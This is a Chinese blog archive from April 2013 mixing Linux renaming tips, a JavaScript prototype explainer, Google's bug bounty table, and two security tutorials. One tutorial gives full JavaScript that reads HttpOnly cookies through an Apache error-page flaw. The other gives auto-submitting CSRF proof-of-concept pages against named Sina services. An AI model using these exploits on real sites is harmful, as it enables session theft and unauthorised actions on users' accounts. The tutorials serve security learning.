月度归档:2013年04月

linux修改文件名或文件夹命令使用方法

root@ubuntu:/tmp/test# touch 1.html 1.txt 1.php  //建立三个不同文件的文件名
root@ubuntu:/tmp/test# ls
1.html  1.php  1.txt
//接下来我们先修改文件
因为我刚接触Linux,所以只知道3种
第一种:
root@ubuntu:/tmp/test# cp 1.html cp.html;rm -rf 1.html
root@ubuntu:/tmp/test# ls
1.php  1.txt  cp.html
第二种:
root@ubuntu:/tmp/test# ls
1.php  1.txt  cp.html
root@ubuntu:/tmp/test# mv cp.html mv.html|ls
1.php  1.txt  mv.html
第三种:
root@ubuntu:/tmp/test# ls
1.php  1.txt  mv.html
root@ubuntu:/tmp/test# rename 's/mv\.html/rename\.html/' *.html;ls
1.php  1.txt  rename.html
 
//文件夹重命名方法
root@ubuntu:mv old目录 new目录

获取HttpOnly cookie方法(限Apache2.2.11以下版本)

首先建立个页面为test.php,为该页面设置2个 cookie值,代码如下:

<?php
setcookie("open",1,time()+3600,"","",0);  //一般的COOKIE
setcookie("private",1,time()+3600,"","",0,1);  //设置为HTTPONLY COOKIE
?>

接着我在test.php页面里面插入JS代码alert(document.cookie);看是否能查看到2个cookie的值。结果为open=1

接下来我们的目标就是获取到httponly的cookie,接下来我们创建一个ajax.js文件,文件代码如下:(JS代码来自于https://gist.github.com/pilate/1955a1c28324d4724b7b/)

// Most browsers limit cookies to 4k characters, so we need multiple
function setCookies (good) {
// Construct string for cookie value
var str = "";
for (var i=0; i< 819; i++) {
str += "x";
}
// Set cookies
for (i = 0; i < 10; i++) {
// Expire evil cookie
if (good) {
var cookie = "xss"+i+"=;expires="+new Date(+new Date()-1).toUTCString()+"; path=/;";
}
// Set evil cookie
else {
var cookie = "xss"+i+"="+str+";path=/";
}
document.cookie = cookie;
}
}
 
function makeRequest() {
setCookies();
 
function parseCookies () {
var cookie_dict = {};
// Only react on 400 status
if (xhr.readyState === 4 && xhr.status === 400) {
// Replace newlines and match <pre> content
var content = xhr.responseText.replace(/\r|\n/g,'').match(/<pre>(.+)<\/pre>/);
if (content.length) {
// Remove Cookie: prefix
content = content[1].replace("Cookie: ", "");
var cookies = content.replace(/xss\d=x+;?/g, '').split(/;/g);
// Add cookies to object
for (var i=0; i<cookies.length; i++) {
var s_c = cookies[i].split('=',2);
cookie_dict[s_c[0]] = s_c[1];
}
}
// Unset malicious cookies
setCookies(true);
alert(JSON.stringify(cookie_dict));
}
}
// Make XHR request
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = parseCookies;
xhr.open("GET", "test.php", true);  //请求当前目录下的test.php文件 
xhr.send(null);
}
 
makeRequest();

然后在修改下test.php代码文件

<?php
setcookie("open",1,time()+3600,"","",0);
setcookie("private",1,time()+3600,"","",0,1);
 
?>
 
<script src="ajax.js"></script>
 
<body onload="makeRequest();">

接着就访问test.php文件即可访问到
open=1;private=1

JS中prototype的含义

javascript中的每个对象都有prototype属性,Javascript中对象的prototype属性的解释是:返回对象类型原型的引用。
举例:

//通过B对象的prototype,访问到A对象的属性和方法
function A(){
this.name="A属性";
this.fangfa=function(){
alert("A方法");
}
}
 
function B(){
}
 
B.prototype=new A(); //我的理解是把A对象中的属性和方法全部克隆到B,但不覆盖B中的数据
var test=new B(); //new 一个对象
alert(test.name); //因为实例化 B的对象,所以会查看B对象<strong>自身</strong>有木有name属性,没有的话就查看prototype克隆的A对象属性,如果都没有,就会弹出undefined的框框
test.fangfa(); //原理同上
 
如果把上面的代码改为
function A(){
this.name="A属性";
this.fangfa=function(){
alert("A方法");
}
}
 
function B(){
this.name="B属性";
this.fangfa=function(){
alert("B方法");
}
}
B.prototype=new A();
var test=new B(); 
alert(test.name);
test.fangfa(); 
//这个例子会弹出B的属性和B的方法,因为实例化B的对象,所以先从B的属性和方法查看

其实就是这么简单。。。

浅谈CSRF漏洞挖掘技巧

CSRF(Cross-site request forgery跨站请求伪造,也被称成为“one click attack”或者session riding。

例A:
针对某个人进行CSRF POST攻击,需要诱导用户点击所以称 one click attack

首先假定有2个用户,分别为 A用户 和 B用户
A用户申请的ID为1 ,B用户申请的ID为2
A用户修改个人资料的URL假设为:http://www.xxx.com/userinfo.php?id=1
POST参数为name
如果A用户知道B用户ID为2且A用户通过修改ID不能访问到B用户的时候,可以进行CSRF攻击
首先建个页面,页面代码如下:

<html>
<body>
<script>
form=document.createElement('form');
form.setAttribute("action","http://http://www.xxx.com/userinfo.php?uid=2");
form.setAttribute("method","post");
form.setAttribute("name","myform");
 
input=document.createElement('input');
input.setAttribute("type","text");
input.setAttribute("name","username");
input.setAttribute("value","更改 B 用户");
 
document.body.appendChild(form);
form.appendChild(input);
 
document.myform.submit();
 
</sript>
</html>

 

例B:针对所有人进行CSRF POST攻击,one click attack
这里新浪微博关注漏洞,利用的就是这个原理(代码来自乌云imlonghao)

<html>
<body>
<form id="imlonghao" name="imlonghao" action="http://book.weibo.com/ajaxv2/user/addRelation" method="post">
<input type="text" name="obj_id" value="[You ID]" /> //要关注谁就填哪个ID,只要用户点击这个页面,即可关注该ID
</form>
<script>
	document.imlonghao.submit();
</script>
</body>
</html>

别人只要点击链接,即可触发漏洞

接着讲CSRF GET 攻击
也用例子说明(该例子来自乌云YKS )
新浪SAE普通开发者认证CSRF

1.在邀请链接后面加上&makesure=1,然后到新浪开发者论坛回复插入下面的代码,别人在登陆了SAE的情况下打开有该代码的帖子会自动邀请指定用户。

<img src="http://sae.sina.com.cn/?m=home&a=devlevel&level=normal_level&voteme=XXXXX&makesure=1">

只要查看该页面,即可自动邀请指定用户
是不是对于CSRF有了不同的认识了啊

关于google漏洞奖励计划

Reward amounts

Rewards for qualifying bugs range from $100 to $20,000. The following table outlines the usual rewards for the anticipated classes of bugs:

accounts.google.com Other highly sensitive services [1] Normal Google applications Non-integrated acquisitions and other lower priority sites [2]
Remote code execution $20,000 $20,000 $20,000 $1,337 – $5,000
SQL injection or equivalent $10,000 $10,000 $10,000 $5,000
Significant authentication bypass or information leak $10,000 $5,000 $1,337 $500
Typical XSS $3,133.7 $1,337 $500 $100
XSRF, XSSI and other common web flaws $500 – $3,133.7

(depending on impact)

$500 – $1,337

(depending on impact)

$500 $100

If you have found a vulnerability, please contact us at security@google.com